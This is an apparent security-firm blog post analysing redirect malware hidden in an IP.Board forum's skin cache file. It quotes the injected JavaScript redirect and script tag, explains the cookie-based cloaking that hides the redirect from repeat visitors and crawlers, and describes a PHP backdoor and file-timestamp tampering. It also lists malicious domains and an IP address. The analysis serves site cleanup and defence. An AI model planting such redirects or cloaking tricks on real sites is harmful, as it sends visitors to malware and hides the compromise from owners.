Analyzing Malicious Redirects in the IP.Board CMS

Although the majority of our posts describe WordPress and Joomla attacks (no wonder, given their market-share), there are still attacks that target smaller CMS’s and we help clean all kinds of sites. This post will be about conditional redirects in IP.Board forums (currently #27 with 0.3% of the CMS market).

Conditional Redirects

The symptoms of the problem were typical. Some (not all) visitors who clicked on Google search results were redirected to a malicious site filestore321 .com/download .php?id=hexnumber. The redirect worked only once per visitor and subsequent attempts to trigger it would fail.

We captured the HTTP traffic and figured out that the web page loaded this script hxxp://forum .hackedsite .com/index.php?ipbv=4458734cb50e112ba7dd3a154b22ecd9&g=js with the following content:

document.location='hxxp://filestore321 .com/download .php?id=8-digit-hex-number'

On subsequent page loads that script was absent in the HTML code. If we tried to load it directly, it was blank (or contained only legitimate code on some sites).

How it Works

Since the IP.Board platform (with its code distributed across multiple database tables and files) was not as familiar to me as, say, WordPress, it took quite a few time to find the source of the redirects. I should admit that this two year old Peter Upfold’s article really helped me (make sure to read it — I like his thought process and approach to investigation). It appeared that this redirect malware is not new and it hasn’t changed much since that time.

To avoid reciting Peter’s article, I’ll focus here on how that malware works and explain its behavior.

IP.Board uses skins (think themes in WordPress or templates in Joomla), that are stored both in its database and in files on disk. In case of the disk cache, skin files can be found under ./cache/skin_cache/cacheid_n, where n is a number of a skin set. In this case, the infected file was skin_global.php under ./cache/skin_cache/cacheid_4.

These 6 highlighted lines of malicious code were found in the middle of a large 120 Kb skin file.

You can see 3 long encrypted lines, whose variable names ($rsa, $pka, $pkb) make them look as some security keys.

When de-obfuscated, we see this code

First, it checks if a visitor is coming from search engine results or a social network link and that the visit is not from some search engine spider. For real visitors, if it was their first visit (no lang_id cookie) it injects an additional script into a webpage which ends up looking like this in the HTML:

<script type='text/javascript' src='hxxp://hackedsite .com/index.php?ipbv=<some-hash>&g=js'>

Then, when the victims browser requests that extra script, it checks if that visitor already loaded the redirect script (via the lang_id cookie). If it’s the first time then sets the lang_id cookie for the next 10 hours and returns the redirect code.

Interestingly enough, this code doesn’t count browser “prefetch” requests as real visits and only sets the lang_id cookie if requests have no HTTP_X_MOZ header.

The same code can also be found in the prefix_skin_cache table of the IP.Board database. Malware should be removed from both files and the database to clear the site.

Backdoor

In addition to the redirect code, this malware also has a backdoor that allows attackers to craft a special POST request to execute arbitrary PHP code on a compromised server.

Having analyzed the skin files, I think I know how this backdoor might have been used in this particular attack.

Each skin file has the following comment in its header:


/*--------------------------------------------------*/
/* FILE GENERATED BY INVISION POWER BOARD 3 */
/* CACHE FILE: Skin set id: 4 */
/* CACHE FILE: Generated: Fri, 19 Dec 2014 10:28:00 GMT */
/* DO NOT EDIT DIRECTLY - THE CHANGES WILL NOT BE */
/* WRITTEN TO THE DATABASE AUTOMATICALLY */
/*--------------------------------------------------*/


It tells when exactly it was generated. On the server that I worked with, all skin cache files were generated on Dec 19th, 2014, except for the infected skin_global.php which was generated on Jan 11th, 2015. However, the skin_global.php‘s file modification date was Dec 19th, 2014 – the same as for all the rest files.

This makes me think that the attackers injected the malicious code from IP.Board standard interface (either stole passwords or used some vulnerability to get access to it). They updated the skin cache file. To hide this from webmasters who might want to check recently changed files, the attackers then used the backdoor in the skin to change the modification date of the infected file.

This is how I see the attack scenario given my close to none experience with IP.Board sites. If you have a better understanding of this platform and see some flaws in my scenario, please correct me in the comments.

Domains

This IP.Board malware attack has been around for at least two years now. The main difference between the 2015’s version from its 2013’s predecessor described in the Peter Upfold’s blog post is the redirect URL: filestore321 . com instead of url4short . info.

Both of them are hosted on the 66.199.231.59 IP address (Access Integrated Technologies, Inc., USA)

This IP address also hosts a few similar domains, all of which are known for malicious activity.

filestore321 .com - Created on 2011-01-27 - Expires on 2016-01-27 - Updated on 2015-01-05
url4short .info. - Created on 2011-01-27 - Expires on 2016-01-27 - Updated on 2015-01-05
file2store.info - Created on 2010-02-17 - Expires on 2015-02-17 - Updated on 2014-01-03
filestore123.info - Created on 2011-01-07 - Expires on 2016-01-07 - Updated on 2014-10-10
myfilestore.com - Created on 2010-02-03 - Expires on 2016-02-03 - Updated on 2015-01-05
filestore72.info - Created on 2010-10-14 - Expires on 2015-10-14 - Updated on 2014-10-10

Right now I can see those sites conditionally redirecting to URLs like this

hxxp://oognyd96wcqbh6nmzdf0erj .ekabil .com/index .php?g=d3F3eGFnPXhnc2h6dGxzJnRpbWU9MTUwMjA0MTEyODIyNjQ1NTQ4MDcmc3JjPTc2JnN1cmw9dXJsNHNob3J0LmluZm8mc3BvcnQ9ODAma2V5PTJBOTZEMjlEJnN1cmk9L3ByaXZhY3kuaHRtbA==

One thing that you might have noticed is that it appears the domains being leveraged were used in a similar campaign back in 2012 against the vBulletin platform, targeting the now defunk VBSEO extension.